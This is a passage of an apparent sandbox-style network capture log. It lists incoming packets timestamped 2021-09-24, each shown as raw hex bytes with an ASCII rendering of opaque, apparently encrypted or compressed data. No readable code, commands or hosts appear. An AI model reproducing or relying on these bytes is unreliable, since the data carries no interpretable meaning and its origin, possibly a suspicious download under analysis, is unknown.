9d 45 5b c0 7b 30 Data Ascii: $[o_?'.*d;)9NQCXkY/]id[yF;.UD&//`,QDP"cJUe\|SJ6\|I:)N.u:[`.}>=n.kepYN0s?O)K$$Vv&RAzi-Q+U'sn1Wm,V8/w)x{2yONE[{0
2021-09-24 19:53:40 UTC	186	IN	Data Raw: 86 e1 c6 fd e8 4d 06 3a 5e 6b 0c b6 ca c6 1a 8d 2b cb 74 31 92 9b 06 7f 17 a6 c9 62 98 2e 42 d9 91 24 f2 64 99 2f 5d a4 ad 87 8d a9 a9 32 a2 d4 67 c7 4a a0 ea 22 ee 6a d3 25 f9 54 52 96 c7 e6 82 ba a5 84 06 cd 87 87 bd b4 cc 57 26 69 fa 0a 14 36 b9 d1 11 e6 eb fb 27 fd 21 f5 af cb 05 b3 f5 f6 ba 5e 99 b2 b2 79 70 a4 79 c4 58 e8 0f 0a 01 0a f5 1f 2b fa 0b 38 4f 00 c5 48 e1 d9 57 e6 c9 87 71 20 d8 6d a2 f0 35 ec 04 42 81 98 22 7b 17 02 8f cf ce 70 36 ff 05 00 fb 05 0d 83 f4 fb d0 06 0b 9b d2 09 c4 06 1a 58 65 e3 04 87 81 f5 64 65 76 f3 51 f0 f6 23 ef 4b 24 1a b9 67 85 34 4c c1 ff 63 15 89 0e ac 4c 69 10 25 a4 06 84 ae e8 0d 0b 3e 6f 16 0b e6 eb 7b 1a ba b1 a6 af 50 e1 72 b3 fe 27 54 26 1a 47 eb 7f ae 25 85 03 8b e8 eb 55 32 54 48 79 ee d5 1a bd 4c b8 c5 45 Data Ascii: M:^k+t1b.B$d/]2gJ"j%TRW&i6'!^ypyX+8OHWq m5B"{p6XedevQ#K$g4LcLi%>o{Pr'T&G%U2THyLE
2021-09-24 19:53:40 UTC	187	IN	Data Raw: b9 96 55 80 cf f1 4b bd fe 92 0d 3e ae 3d 22 07 9c e7 36 b4 19 0a c7 47 2a b5 fd 2e 0a 27 a1 63 0c 21 c9 00 7c d3 7a 42 66 9f 7b 94 70 2a 59 09 8f 88 24 0f c6 b1 a6 bc 47 c7 df da 7f a9 06 69 10 52 2b 46 29 e4 28 51 9d 2f b4 4a 09 ff 47 72 2f f4 54 ea 2a 6f 57 40 40 ff e8 8c 5e 23 df 68 72 b9 80 8a e1 c1 d9 5e 80 83 b8 d3 07 66 50 ae ce 6b bb a3 da e5 67 51 95 98 83 66 37 3b a1 79 0a 04 9a a3 c3 f0 c1 1f ec f0 11 b1 4a 24 21 6d c7 64 7c e9 48 7f d9 87 48 9e 3f 81 e2 5a 64 aa 23 d0 80 03 8c 74 e0 0e c2 a8 b8 14 71 ad 1f 97 3e 5b 22 42 29 87 d0 a0 e8 1f d3 4b 10 b4 76 dd 39 8a 98 d5 ff a7 c0 06 7e d3 6f 0c b3 ff c8 1c 16 c8 5e 0d 4a 49 b1 50 00 53 89 36 cb 2e e2 05 68 da 30 75 66 fb ea 84 93 dd 25 8d cf ae 84 55 ce 54 9e 0f 93 12 0d c1 bf 52 63 94 45 82 9f Data Ascii: UK>="6G.'c!\|zBf{pY$GiR+F)(Q/JGr/T*oW@@^#hr^fPkgQf7;yJ$!md\|HH?Zd#tq>["B)Kv9~o^JIPS6.h0uf%UTRcE
2021-09-24 19:53:40 UTC	189	IN	Data Raw: 35 40 c7 f7 70 20 e9 16 03 aa 00 11 a6 e7 fa e1 9f e5 97 34 0a dd 76 b6 48 85 ed 88 f6 02 de 63 74 ea 2f 7a c5 fd 30 4b 4b b2 24 39 62 21 34 61 e1 ca 65 24 88 dc a3 97 69 39 24 21 37 6c ae 89 0f 17 19 af 12 6a e4 3f 5f 6d af c0 a3 ab 77 72 73 da fb 82 7f 58 0d 3e ee 0f b6 a1 97 8a 8e c1 fa 1c 30 4d 49 a5 d8 4e 09 a4 4d 34 fb 5a 8d 96 c1 32 a8 c7 29 0b 68 99 f3 bc 87 d8 50 90 1d 4e 22 18 d0 43 b4 54 34 e9 72 54 c3 a4 eb b1 f7 37 c5 20 99 1d 74 5e 58 86 b5 be e9 56 cf b5 f0 61 1c 35 8f a2 3d f4 e6 3d 37 aa a9 83 98 ad 2f 33 f7 fe f3 f3 4f 91 e3 c2 cb fc fd fb a9 00 d5 a6 bf c9 f2 88 b2 71 6b d8 65 f3 9c de cf f9 cb 1c a3 43 bc ca ab e2 67 f7 ac b5 db ae f8 4f c2 65 53 1d c5 1b 66 6e cd dd 87 55 39 49 f9 2d 79 4f 3e d7 7b b5 88 81 59 49 ea aa d0 17 41 a9 22 Data Ascii: 5@p 4vHct/z0KK$9b!4ae$i9$!7lj?_mwrsX>0MINM4Z2)hPN"CT4rT7 t^XVa5==7/3OqkeCgOeSfnU9I-yO>{YIA"
2021-09-24 19:53:40 UTC	190	IN	Data Raw: 31 41 2b 5a 4a e8 99 74 8a 23 f0 26 66 70 be 3f 0c 93 51 a3 20 fb 77 02 b4 4c 05 93 de 11 aa ca 4a f7 64 b5 5a 9f 47 f6 56 c0 57 8c cf 38 91 91 8e 29 54 a1 d6 52 01 e2 43 c4 79 05 48 5f 86 bd ac e0 5e f2 d0 ca 0f f0 00 c1 90 d0 67 17 56 a8 39 6e 28 9b e0 20 22 39 b2 22 82 b6 8c aa 13 e3 3a 60 d6 8d 9e cd ab 68 7f 0b ee dc 27 d5 7c 2b 60 24 70 60 01 39 a9 ff 45 d8 1d 01 75 fe c9 ef cf 78 c7 d1 f4 54 6f eb bd e6 90 10 05 bc d8 b9 78 af 32 31 4f 82 49 0b 32 fc 64 20 3c 13 56 e2 1c 68 ba 42 5d 4b 88 28 0c a4 38 e3 72 d8 69 10 a6 eb db 6c 44 39 ab dc b1 97 d9 87 e1 f8 8d 92 7f 7f e5 da d9 fb 3c dc 3e 89 48 ec c4 f5 c7 06 a9 da b8 ae 35 75 92 42 2d c5 a5 5e 64 f0 7c 98 dd 1a 2d dc 14 4b 2c d0 a2 c5 d5 57 ad e4 28 3b a2 0d c0 56 84 1b 51 44 6a cf 01 76 06 f8 96 Data Ascii: 1A+ZJt#&fp?Q wLJdZGVW8)TRCyH_^gV9n( "9":`h'\|+`$p`9EuxTox21OI2d <VhB]K(8rilD9<>H5uB-^d\|-K,W(;VQDjv
2021-09-24 19:53:40 UTC	191	IN	Data Raw: 05 d9 b6 4d ae 7c 90 ec 45 ac 83 dc d8 b2 a2 25 d4 9c d1 7b e7 a2 17 27 2d f7 2d 67 b8 02 20 ab ad 0a e5 62 51 83 6c 8d db fd 3b ca e3 29 7d b7 0d 9d 26 f4 90 51 e1 1f 5d dd ac dd c6 b5 0f 06 21 ac 4d d5 01 36 25 b7 39 a2 4d ac 4d ef 16 d6 fe 9a 19 4b f6 4a b6 e6 73 38 ca 67 96 40 03 25 5d f9 66 c8 9d 74 5a 7e 79 2d 4f 6c 63 94 8a c7 88 12 55 f3 23 eb e9 5a 2f 4d dc 99 26 59 a4 16 8a d2 3c 56 af ab bc ec b6 a8 63 1e 48 5f 0a 90 e6 63 65 48 4c ba 13 ec 7e 0c 3a 66 c7 10 4d 57 9b ff 0a 72 5f 40 e6 04 d6 07 ed b5 32 b5 1e f5 da f6 e2 1f 15 2a 7f fb 22 07 2c 17 d1 92 1b a3 3c 4e 88 d9 a9 c7 f0 b0 e6 fd 0c 06 3f 51 b3 73 d8 94 f6 35 48 68 e4 ca 26 2f 11 8a 33 04 26 aa f1 7d 4d c4 01 73 f9 0c fe 6d 8e 68 a7 18 32 57 18 98 80 60 09 c8 18 1b 72 12 27 d4 73 be cd Data Ascii: M\|E%{'--g bQl;)}&Q]!M6%9MMKJs8g@%]ftZ~y-OlcU#Z/M&Y<VcH_ceHL~:fMWr_@2*",<N?Qs5Hh&/3&}Msmh2W`r's
2021-09-24 19:53:40 UTC	192	IN	Data Raw: 1e cb b3 64 e5 58 2b 6b bd 07 f9 4e 33 28 a3 d5 f7 b8 f1 1b 1c ec 9d 6f 47 a6 96 aa 4f 99 cb a7 8c db cd 43 63 2f 33 25 49 45 5d 01 ff b5 8a 69 aa 80 da 8a f4 9d 09 f6 42 b4 10 e6 c4 81 07 e0 36 3d 7a ad 8f 30 1b e6 19 bd d7 42 86 34 4f 42 8f 87 ec ab 94 e4 43 78 b3 e0 81 85 b6 be bd 3c 6b 75 55 61 f5 72 dd 25 f3 40 d9 57 61 eb e7 60 a2 3c 96 a3 27 f4 a6 a6 8f d6 ed f7 07 b6 c8 cf 35 ee 98 bd 20 ca c9 aa 05 24 10 08 8d 90 26 ad c5 89 99 ff ba a2 96 66 54 9f 5d 8a 7c 81 2b 70 25 99 d1 b6 0f 4b 2f e9 6b db e1 5c c4 e5 72 85 ec f1 54 89 fd d8 87 2d 10 05 21 b3 a4 96 04 57 31 5c a9 b3 e8 f9 10 a2 22 6e dc 73 2a 03 d3 6e f7 5c 07 69 f5 1a ec 52 21 6c 4d b4 2c 73 b5 08 4c 24 5f 7b 57 97 cf f6 c6 4f 0e 2c 83 20 af 60 66 bb c5 17 3f f6 24 26 66 fa 3a 9d 8e de ae Data Ascii: dX+kN3(oGOCc/3%IE]iB6=z0B4OBCx<kuUar%@Wa`<'5 $&fT]\|+p%K/k\rT-!W1\"ns*n\iR!lM,sL$_{WO, `f?$&f:
2021-09-24 19:53:40 UTC	194	IN	Data Raw: b2 0c 01 51 b2 b6 35 11 49 3b 6e 61 cd 22 c8 96 f7 e5 93 32 bf ee 0c 26 e2 80 11 3f bd ef 1c a9 b0 e1 17 e7 c7 0c a8 3f 0f d4 e6 a0 d3 18 ab c5 bb f9 70 a4 cf 0a 49 91 d6 02 0e c4 ac c4 2b c5 9c 0a 34 3c 35 fa c2 db 2a 65 e8 2e 0c d8 a3 8b 1a 53 cc fe 7e 83 60 e3 65 ad 7a df 69 2c 5f 3c 8e f8 16 14 c0 3d a5 0c 57 26 dc 55 7c b3 16 78 10 14 28 f6 0a b3 2e 3d 9f 29 ae 2d 0f c7 46 f4 02 99 52 d1 29 f9 7b 9f 45 86 e9 db 7f 2b df f7 71 d3 a8 7e e4 ee db 52 a8 77 bd 82 05 87 7e ea c8 38 b9 b5 f2 cb 66 74 Data Ascii: Q5I;na"2&??pI+4<5*e.S~`ezi,_<=W&U\|x(.=)-FR){E+q~Rw~8ft
2021-09-24 19:53:40 UTC	194	IN	Data Raw: 97 2e 9c 2e 31 0b a2 35 13 bc 9c ca c1 f0 e2 d5 ea fc 15 a1 64 53 20 38 df 63 50 5c 54 20 c3 d4 74 d1 26 85 e2 7f 58 d3 23 58 80 29 9a 58 e7 01 c3 5e 9c f6 70 94 19 05 1d 02 25 29 2f 32 d9 2f ed c3 d4 86 32 e6 79 88 33 ea 9b 44 e8 d9 d3 7b 49 0e 7b d3 a4 c1 f2 33 05 60 4a ad 5f 08 a2 ce 14 29 9d f8 d7 3f f9 fb 77 2a 11 1a 46 81 c1 1a b7 9b 02 30 da 21 a8 8d e5 ee a9 cf b8 10 24 9b 82 1f 4e f5 45 01 94 ce 17 47 d5 32 a0 25 d7 7c ee 62 19 5a e4 3c dd de 22 cd ac a8 25 be 95 2e b9 b5 a1 f1 b8 68 6a 21 f5 78 06 32 aa 1e fc 56 03 33 a4 6d e1 40 2a 2a 8a 17 ee de ea 20 06 3f 91 16 5d 39 8d 1d 55 d2 c1 a7 97 c8 d7 e7 78 18 1a 82 52 fb 47 61 e4 b6 b1 5b b6 e1 c7 79 e8 ba 24 3d 5e 29 0d 40 d9 24 1d 8e 2b f9 66 b8 92 77 29 0d 04 e5 c8 e8 98 25 60 da 91 25 f3 a6 8a Data Ascii: ..15dS 8cP\T t&X#X)X^p%)/2/2y3D{I{3`J_)?wF0!$NEG2%\|bZ<"%.hj!x2V3m@* ?]9UxRGa[y$=^)@$+fw)%`%
2021-09-24 19:53:40 UTC	195	IN	Data Raw: 88 1d e3 c8 67 11 67 fb 67 f8 be 70 b1 68 37 da 15 29 82 e3 94 44 c3 72 ef 51 f2 fd 1f d8 45 a6 a4 0f a4 c2 97 8b aa e1 2b e3 a2 d1 48 80 93 48 7a 79 e9 17 98 8d 47 4f 93 da 9d 8a 54 51 a1 2f cb 9a b4 3b e6 a0 d6 31 fe 0d b7 65 b2 d5 18 e1 27 1e 9c cf 94 c6 a3 4c a2 4d e5 4d c9 42 64 7c da 4d 93 20 9f 26 8b 73 10 95 aa 62 0d 97 a3 d1 c6 6d 56 8b eb f3 3d 01 45 1c 69 23 e8 e9 2a 35 86 0e bf 23 2d 0d 4a e7 f0 e5 7b 21 26 4e 7a a1 52 6d cf de 21 6e 51 e0 90 88 ad 61 5e e9 21 be 94 eb a0 2b 90 4a 7a 57 98 84 f1 67 62 11 b2 77 76 7c 2c 78 6e a1 8e 4f af d6 f7 62 d0 5d f7 a2 4d 95 e3 ad 52 3d fe 5d 1d 9c f3 e0 52 56 c6 3b eb 3d 48 6f e7 9b 90 19 ca 7f ba e8 33 a6 ac b3 48 80 95 03 6b 7c ad d7 68 c7 fb b5 35 23 76 fb 80 62 2b 51 ac 2c 48 62 a2 b7 5e 52 8a 45 7f Data Ascii: gggph7)DrQE+HHzyGOTQ/;1e'LMMBd\|M &sbmV=Ei#*5#-J{!&NzRm!nQa^!+JzWgbwv\|,xnOb]MR=]RV;=Ho3Hk\|h5#vb+Q,Hb^RE
2021-09-24 19:53:40 UTC	196	IN	Data Raw: 21 41 1e a2 03 dd a3 76 cc cd b3 24 b7 cd 6c db ec a1 d6 e1 05 0f 9a f0 1f 5e 32 cc 3f fc 29 6b 31 e7 34 e0 7f 73 55 ff 4c ee de b2 5d 41 c5 87 5c 04 39 ed 3b 55 29 88 a5 f4 91 d6 02 21 a9 4d d9 52 9d 1f e2 83 f1 96 1e ec e1 85 a6 e8 78 4f 3a 1b 30 0c 81 83 c6 5d d6 2b f2 3d 31 f3 c0 06 6c 5e a6 aa 39 98 3b 0b d9 f4 7f f2 73 d0 2f 3a ff ad 91 fb dd f6 45 c3 c9 01 a2 15 fe ea 20 98 1e 8c 52 98 49 34 f3 98 b8 82 89 d7 84 45 ad 87 b2 cf b4 89 37 26 5e 88 0a 53 56 b9 e8 63 e6 8a 9b 27 ee 53 f5 cc ab 05 a6 87 f7 df 3e 99 d4 d3 78 17 c7 79 ac 39 e9 68 6b 75 55 b1 7c 5f 9e 0b 4b 2a 75 9a 0d 80 ad 36 e7 99 f7 1e 54 bd 0c d6 91 51 a8 65 34 e0 9d 65 1e 63 4e ed a3 ab 13 42 b9 64 77 9a 05 5d f1 9b 90 b5 fd 54 df b3 7c a5 77 59 2a 0a 92 61 84 e9 8c 20 05 02 4e 7e a2 Data Ascii: !Av$l^2?)k14sUL]A\9;U)!MRxO:0]+=1l^9;s/:E RI4E7&^SVc'S>xy9hkuU\|_Ku6TQe4ecNBdw]T\|wYa N~
2021-09-24 19:53:40 UTC	198	IN	Data Raw: 4a 8d b8 07 2c 17 d6 bd e5 a1 4e 3f c8 06 be 80 cc ce 07 9f 2f 68 66 f9 81 d6 67 4c 32 db 7f 79 19 3a 49 0f a0 a9 4f 89 f0 93 58 f3 33 d8 8a 0c 95 91 8a 75 58 d3 6a 74 b9 dc a3 76 76 ae 18 a8 78 61 48 ae bd a5 76 c0 59 ba c8 15 c1 a6 9e 01 8a a0 6c 65 5a ad f6 4e b3 d9 98 43 22 47 94 ac 4b 4e 7c 9c 7a 6d 54 cb 93 78 3e a9 01 36 bf 0e 94 08 eb 0a c5 0b 41 3a 18 c5 c7 7f 65 b0 77 d4 10 35 4b b9 73 37 9d 73 08 79 52 46 e0 70 d3 4c 79 f8 56 fa 40 4b 81 31 17 6e fd 52 9c 4e 0c 24 cd 24 b0 8f fc 1e 30 8d 0c 1d ec c5 22 81 96 b1 82 c0 22 f5 a3 68 54 16 be c8 29 db 6a 93 b2 07 5e f0 f9 fd 1a 63 0a cf 7d 79 e8 f9 e6 bb 2f 87 d0 8b d2 75 62 01 0a 72 19 aa 74 31 5f 28 0e bb f5 09 e1 5a d5 a1 34 24 d8 57 4c c8 30 f4 43 8b 37 c2 f3 f8 73 25 b0 6f ee 5d 3a 4d 1e 60 32 Data Ascii: J,N?/hfgL2y:IOX3uXjtvvxaHvYleZNC"GKN\|zmTx>6A:ew5Ks7syRFpLyV@K1nRN$$0""hT)j^c}y/ubrt1_(Z4$WL0C7s%o]:M`2
2021-09-24 19:53:40 UTC	199	IN	Data Raw: ae fa ad 3b 43 57 8b 60 71 54 cd e3 6d 8a 87 9f 44 f8 5b 9a c1 88 64 b1 83 f7 f2 2b ed c2 e5 1d 12 f4 1c b7 28 86 61 7d 64 0a b2 78 5f ad 6e 4b 3f 6e ab 3a 84 d9 14 8b a6 f6 14 20 9c 06 d1 84 5a 9f 61 40 d5 ef 5b 2b 76 73 fc ac ce 22 53 8b 60 71 88 60 0d c0 86 9f b1 ea 45 9b 9f 7d a8 03 60 3b 04 91 70 b2 f8 99 01 03 17 5b 1b e0 a1 45 9b 00 41 73 cb 0d e4 46 28 82 9b 00 61 ec 0e eb 28 02 64 4a d6 46 f6 c2 9f 7e 6a 5e 03 77 58 92 8a 0d 7f bf f5 c3 c3 37 95 11 b3 99 42 22 79 5e 26 85 28 de 4c f3 66 8b bc 81 27 54 35 2c 2a 8a a4 6d d4 2f f9 a1 21 fc de a2 4c d1 eb 28 31 3f f8 95 1b e5 9c 30 75 72 e0 46 c3 b9 66 f5 2a 52 88 33 27 8b da 93 5c 97 36 a8 60 f3 d1 03 cd 00 f5 c0 06 9d f7 a6 b1 80 d5 6d b3 94 96 5a 8c 83 56 5b 59 dd 46 fa c4 7e 45 f7 e7 94 83 1a 1a Data Ascii: ;CW`qTmD[d+(a}dx_nK?n: Za@[+vs"S`q`E}`;p[EAsF(a(dJF~j^wX7B"y^&(Lf'T5,m/!L(1?0urFfR3'\6`mZV[YF~E
2021-09-24 19:53:40 UTC	200	IN	Data Raw: f2 37 ca 7c 7b 9c 2d 1b 65 98 15 9e 5f 28 09 ec 33 bf 9f f5 2b 42 b0 1f 1a f4 c9 1c 90 a2 b1 89 cb 46 fe ad 6b 40 1b a9 ad 29 ce 7e 9f 94 01 30 c0 fa cb 6e 43 16 cf 6e 10 c2 f9 c6 91 2b 90 f1 84 db 11 5d 11 68 53 08 b4 78 3e 4b 4d 15 a3 e8 19 e8 52 fb a6 34 20 ce 4a 47 e7 51 ce 48 b2 1e ad da fa 07 25 a6 53 e4 75 2f 22 14 4d 27 81 25 84 12 b1 3b 50 80 1e de 39 dc f5 23 a7 9b ad 63 39 2c 0d 01 df 0e e6 e2 74 d0 01 32 38 b3 b6 7e 68 21 cb ff cc 06 8a 77 2c 52 31 67 0e c1 a6 49 94 d4 4e a0 9e e3 80 5e a5 3b cc b5 e5 d8 65 ab cd 14 62 90 2c 24 f2 11 37 22 bd 72 c6 67 a3 d8 a5 06 6a 6d 92 34 af 8f 66 ad df 83 24 96 fa 01 c8 c1 d5 d7 f1 64 19 aa f0 3f 6a 47 d8 0f fc 26 53 45 cc 6d 87 5e 5e 0a ff 6d 8b fb 9e 29 67 fe eb 71 0d 58 f8 0a 55 0c b4 d1 d1 bd ba 0a 28 Data Ascii: 7\|{-e_(3+BFk@)~0nCn+]hSx>KMR4 JGQH%Su/"M'%;P9#c9,t28~h!w,R1gIN^;eb,$7"rgjm4f$d?jG&SEm^^m)gqXU(
2021-09-24 19:53:40 UTC	201	IN	Data Raw: 14 1a d8 d4 d2 f0 02 80 06 d2 93 27 34 4b 1d 24 86 7f c8 48 87 64 ee 9c b6 1c 45 31 25 79 8d a0 6d e2 05 cc b0 38 8e e1 a1 4c c9 fa 6f 07 1f f0 b5 16 fa f9 36 74 47 cb 74 d8 bc 61 d3 27 44 fc 15 25 e6 e5 8a 55 80 25 9b 6c f3 d3 22 d5 07 e4 c1 2a e9 e5 b9 d8 85 cd 19 85 ed bc 42 80 93 65 46 4e ee 43 ff de 78 49 83 c7 9c ef 22 30 90 06 8a b5 92 54 d0 88 a2 1c d2 0d bd 70 c0 fb 34 e1 3d 3e f2 ca ba ab c1 44 e1 5c dd 3d d9 6c 30 49 de 57 ad 29 94 21 8a 16 13 92 b3 6a 43 b4 a0 b4 c4 03 30 8e 85 94 39 6f 2d 1b 07 64 ca f3 7c 12 84 7b 86 29 26 0c 43 e4 e7 e9 74 55 06 52 58 89 26 5b e1 bb 27 42 35 cd b3 e6 e8 41 30 af 00 d0 d3 cd ce 63 9e 2f 75 15 ff 83 c7 38 52 30 c0 76 51 12 49 79 01 b7 b5 09 ba fb 9a 59 f1 2f da 8a 62 d6 84 8a 65 62 e8 6d 78 aa e4 8f 7c 70 a8 Data Ascii: '4K$HdE1%ym8Lo6tGta'D%U%l"*BeFNCxI"0Tp4=>D\=l0IW)!jC09o-d\|{)&CtURX&['B5A0c/u8R0vQIyY/bebmx\|p
2021-09-24 19:53:40 UTC	203	IN	Data Raw: 53 e7 f9 cc 11 96 05 00 54 56 62 09 ac 91 40 e6 f5 55 cf 91 8b d2 49 a3 3b e6 b1 e5 e4 4e df db 10 29 90 3d 60 fb 0e 59 45 b2 17 d5 5d 84 ef 9c 01 6d 55 80 22 99 84 59 a2 ac 8c 41 a1 ca 2d d4 c0 ea d7 c0 41 05 b5 9e 79 55 5d c8 0c 99 1f 61 59 d1 19 84 54 5d 3b ba 57 81 98 a8 32 06 d8 e8 14 18 56 8c 24 3a 4b 96 ca 97 80 b9 66 3b c6 45 f0 33 89 23 b6 8b a8 d5 33 c6 98 92 93 e8 5d 7a 3a 3c 05 0c a4 b6 c6 7e e3 2b df 08 31 f5 ff 72 51 4d c8 af 0c 98 16 3c b8 f6 40 b1 7a ee 4a 3e ec c3 90 f1 a9 ef 5a c7 c9 10 8e 24 c7 85 53 bb 03 bf 41 b0 4b 27 f9 c7 a4 f7 a7 c2 f1 74 a9 ce 98 c8 db cc 10 4f 74 8c 5c 71 45 ca c9 6d 88 a2 94 41 e3 32 b2 ca be 53 a7 94 84 d3 30 f7 fb dc 1e 1f a6 2a a1 2a 80 6e 62 68 70 94 69 42 90 65 71 21 67 aa 49 92 bc 25 8e a8 e9 18 5a b9 1b Data Ascii: STVb@UI;N)=`YE]mU"YA-AyU]aYT];W2V$:Kf;E3#3]z:<~+1rQM<@zJ>Z$SAK'tOt\qEmA2S0**nbhpiBeq!gI%Z
2021-09-24 19:53:40 UTC	204	IN	Data Raw: 5c bd 3b be 21 95 79 24 fc 85 6b 26 97 bc e4 f5 02 5a af 88 e0 39 73 5f 32 1b 64 de f8 08 0a 98 14 b8 23 07 17 69 fa f0 e7 68 55 1c 4e 77 8b 37 5b c8 ac 10 43 23 a4 b5 ed 9c 7c 10 da 0e dc b6 db e4 06 b1 23 76 74 f4 b5 d6 17 60 21 d3 67 5b 0e 49 73 2b a9 b9 22 ad e6 96 7e fd 2f bf a2 6d b8 82 88 74 50 d8 70 69 97 d2 8a 72 76 b2 38 c6 48 62 49 95 b2 a7 76 d9 3c fd ef 04 e3 a1 85 25 81 a4 62 7a 50 df b1 6a a4 e8 9f 43 2a 41 94 b0 26 05 71 9c 43 7e 26 8c 91 79 26 a3 73 7f b7 0f 8f 0c fa 17 d6 69 6e 2d 7d ed f7 73 52 a5 7b d5 08 27 53 b3 01 7e 8d 64 1f 71 47 4f cc 64 d1 5c 6c ed 22 c1 5d 0f bc 21 14 66 d1 3c 8f 7b 0c 09 85 0c b0 b8 e4 09 30 92 10 17 cb d8 22 90 83 ac 95 ac 21 d8 b6 59 78 15 ae ba 7a f8 7f f6 b9 15 30 d0 e6 98 5f 42 7f e7 7a 10 c2 ef b2 8a 2c Data Ascii: \;!y$k&Z9s_2d#ihUNw7[C#\|#vt`!g[Is+"~/mtPpirv8HbIv<%bzPjC*A&qC~&y&sin-}sR{'S~dqGOd\l"]!f<{0"!Yxz0_Bz,
2021-09-24 19:53:40 UTC	205	IN	Data Raw: 77 a6 ae 06 ec 00 16 ab fe 50 82 66 8a 48 38 d1 f2 b5 f6 c8 db 40 a2 e2 11 b3 09 c9 8b 21 8e 6a 94 41 8d 6c 2c f7 a0 82 c7 a5 d5 eb 62 a9 f5 85 ae e7 b5 25 52 7d 84 24 40 5e d4 c5 70 95 eb a8 52 e2 46 9c c2 af 4d a7 8a 87 df 2d ea b2 d5 1d 04 f9 18 a0 2e 88 61 6d 64 6e a5 7c 59 9e 66 5d 3b 64 b7 3a e1 aa 32 93 96 e4 15 56 b9 01 c1 91 51 bc 65 32 e0 f0 47 0f 72 73 fc c9 8b 1e 55 92 61 66 89 55 6c f1 95 97 b5 ea 45 e9 a1 08 8b 07 6c 2a 04 96 6b 84 ee f5 29 05 18 4e 19 85 8b 45 81 3f 67 66 c8 11 f6 34 0f be 81 05 7c fd 67 c1 22 0a 7c 66 cb 69 f4 cc 9a 68 44 5e 05 77 68 92 a7 1c 69 cc b1 e0 c6 3e 84 35 d0 9d 42 25 55 1d 20 8e 0b f3 76 f2 60 e8 8d 9a 26 31 13 2d 0d bd b0 6b cf 29 d6 a1 05 fc d8 a3 5c d6 fd 28 2b 3b f8 a5 17 e5 9c 22 62 33 f3 57 c5 8f 45 e4 3a Data Ascii: wPfH8@!jAl,b%R}$@^pRFM-.amdn\|Yf];d:2VQe2GrsUafUlEl*k)NE?gf4\|g"\|fihD^whi>5B%U v`&1-k)\(+;"b3WE:
2021-09-24 19:53:40 UTC	207	IN	Data Raw: 42 7c 9c 2c 6b 43 d6 ad 59 3d b9 6f 0b fa 07 84 11 d1 2c cd 0a 46 1c 77 f9 ed 62 16 87 7d d3 32 3f 46 ae 30 11 bb 78 0e 10 76 44 ed 4b d1 4d 70 ed 22 ae 6d 6a 89 2d 1b 43 fb 31 9e 5b 0c 7b c7 06 ac 92 e0 0f 74 ba 1a 01 e1 dc 3b e4 92 9b 95 d5 36 c9 87 68 53 08 a2 b8 0e ba 58 9e 88 03 51 f0 c6 ec 7b 43 0b a1 4a 7f eb ea d7 b0 2b e2 ff 8f c8 4e 5e 0b 78 54 7c b5 74 24 73 1d 29 a8 ef 6d ea 5a a1 bd 0f 2f cd 46 5b ee 30 f6 74 82 20 b4 d1 ef 57 1e bb 6b 8b 68 2d 56 2c 61 3d aa 25 98 1d b2 3b 66 a9 03 cf 5c dd c0 38 8a 8a c3 51 34 32 1c 4d d7 0c 92 da 61 cb 2c 0b 4b a7 d3 48 5f 51 e7 e5 b8 42 a4 03 19 6d 54 43 34 a4 90 54 f1 ef 52 a0 b7 ff f4 4c 9a 5e e3 86 f4 ca 78 ce da 08 62 ad 29 48 da 16 53 20 99 1b d2 76 d7 e0 90 13 46 56 8a 28 a9 eb 5d a9 d8 b4 6c ba e6 Data Ascii: B\|,kCY=o,Fwb}2?F0xvDKMp"mj-C1[{t;6hSXQ{CJ+N^xT\|t$s)mZ/F[0t Wkh-V,a=%;f\8Q42Ma,KH_QBmTC4TRL^xb)HS vFV(]l
2021-09-24 19:53:40 UTC	208	IN	Data Raw: 3d 04 96 61 b2 f4 87 01 07 02 40 0c 99 e6 47 8a 3f 7b 58 cc 05 ec 47 38 a3 96 61 72 ec 7a f1 0f 0a 60 44 c7 6d f0 d4 e8 5c 7e 5d 03 7b 7f 9f eb 16 6a e0 f4 d7 da 33 8d 1d c7 87 27 39 56 42 0e 85 1a dd 50 e6 6f e2 9c 90 55 56 31 3c 26 8e b7 70 d2 3e d1 a1 2c 8e c4 a5 4d fa fe 5a 0b 04 cb a8 07 ee f9 02 68 40 e0 57 dc fe 57 e5 3d 42 fa 19 3c 9f aa b3 43 bc 31 83 69 d2 c6 34 c1 04 e4 dd 47 ab c0 a6 a1 92 d4 5e b3 e0 81 5d 8a 97 72 5d 59 d6 2f da f2 78 59 87 db a2 8a 1e 01 91 01 bb bc 87 4f db e1 a5 11 cb 52 a1 56 dd ea 20 e1 26 08 f9 cc 85 b4 ae 75 db 2e e7 21 c4 73 06 54 de 4b ba 1f 89 3c 9f 6f 56 ba af 6b 26 a5 b7 c7 f3 08 5d 9a 99 fb 04 78 2d 1a 0c 10 dd ef 13 22 93 7b 80 23 03 0a 5f fc f0 f1 4a 27 20 59 6d e0 10 55 8d 9d 18 2c 15 de d2 cd 92 23 18 d5 63 Data Ascii: =a@G?{XG8arz`Dm\~]{j3'9VBPoUV1<&p>,MZh@WW=B<C1i4G^]r]Y/xYORV &u.!sTK<oVk&]x-"{#_J' YmU,#c
2021-09-24 19:53:40 UTC	209	IN	Data Raw: 34 48 01 51 c8 1e 99 9b 9d 31 74 20 41 5e 8d f8 f3 02 45 b5 19 6c bc 2b 2f 61 5f e4 f6 c0 22 5b 4a 62 6d b3 68 e8 94 91 51 4f ff b2 d0 b6 3d 08 3d 8f b7 cf 4a ff 72 61 32 36 01 65 c0 fc 24 9c 94 23 a0 fd 8a 8e 32 c8 3c 83 c6 cc b3 08 ab a8 6e 07 fb 57 23 9d 77 25 c4 d4 7c b3 83 d2 89 fb 69 0b 9f ec 49 5c fa 2b ec ac f9 a5 d8 90 4c b8 a6 20 a3 bc 25 6a d0 71 6c 02 12 aa 7b f2 68 12 31 a6 6e c0 3b 21 51 ba 14 e3 84 ef 5d 07 91 8a 11 5d 3b 81 6f 5d 4f d1 a4 99 c5 d3 66 79 a7 39 a8 5d fc 41 ea ea b5 84 39 a4 84 d4 95 e0 21 07 5f 5a 6a 0c d5 bc c0 1a 8d 36 a8 02 3f 99 9d 02 13 16 27 ec 71 19 7a 59 d1 94 05 f2 04 0b 06 54 a5 af f4 8f 28 80 22 23 8c 72 c7 4a bc f8 d2 d8 62 d3 25 eb a4 64 84 46 ca 86 cc b4 8a 08 ca 87 f4 b3 ba c2 58 21 18 ed 04 1a 39 b7 a8 0e e1 Data Ascii: 4HQ1t A^El+/a_"[JbmhQO==Jra26e$#2<nW#w%\|iI\+L %jql{h1n;!Q]];o]Ofy9]A9!_Zj6?'qzYT("#rJb%dFX!9
